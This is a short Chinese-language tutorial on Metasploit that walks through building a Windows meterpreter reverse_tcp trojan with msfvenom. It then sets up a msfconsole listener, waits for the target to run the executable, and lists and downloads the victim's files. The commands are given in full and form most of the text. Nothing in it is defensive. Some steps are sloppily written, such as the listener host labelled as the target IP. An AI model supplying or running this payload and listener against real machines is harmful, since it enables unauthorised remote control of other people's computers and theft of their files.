Metasploit渗透测试（获取靶机控制权）

一，打开kali生成一个被控端：

输入命令：msfvenom -p windows/meterpreter/reverse_tcp lhost=目标IP lport=5000 -f exe -o /root/payload.exe

这是你会发现你的kali会多出一个文件：

二，然后在kali输入msfconsole：

然后输入set payload windows/meterpreter/reverse_tcp，回车zai

再输入     set lhost 靶机ip
                set lport 5000

执行“exploit”开启监听，等待被控端打开远程控制软件连接到此处
如果被控端打开了前面我们传过去的控制木马，监听端会有如下显示：

 三，控制靶机。

查看目标计算机的文件信息，并下载文件文件

Ls //查看

Download 文件名 //下载文件

然后就能在kali文件系统看见你下载的文件了。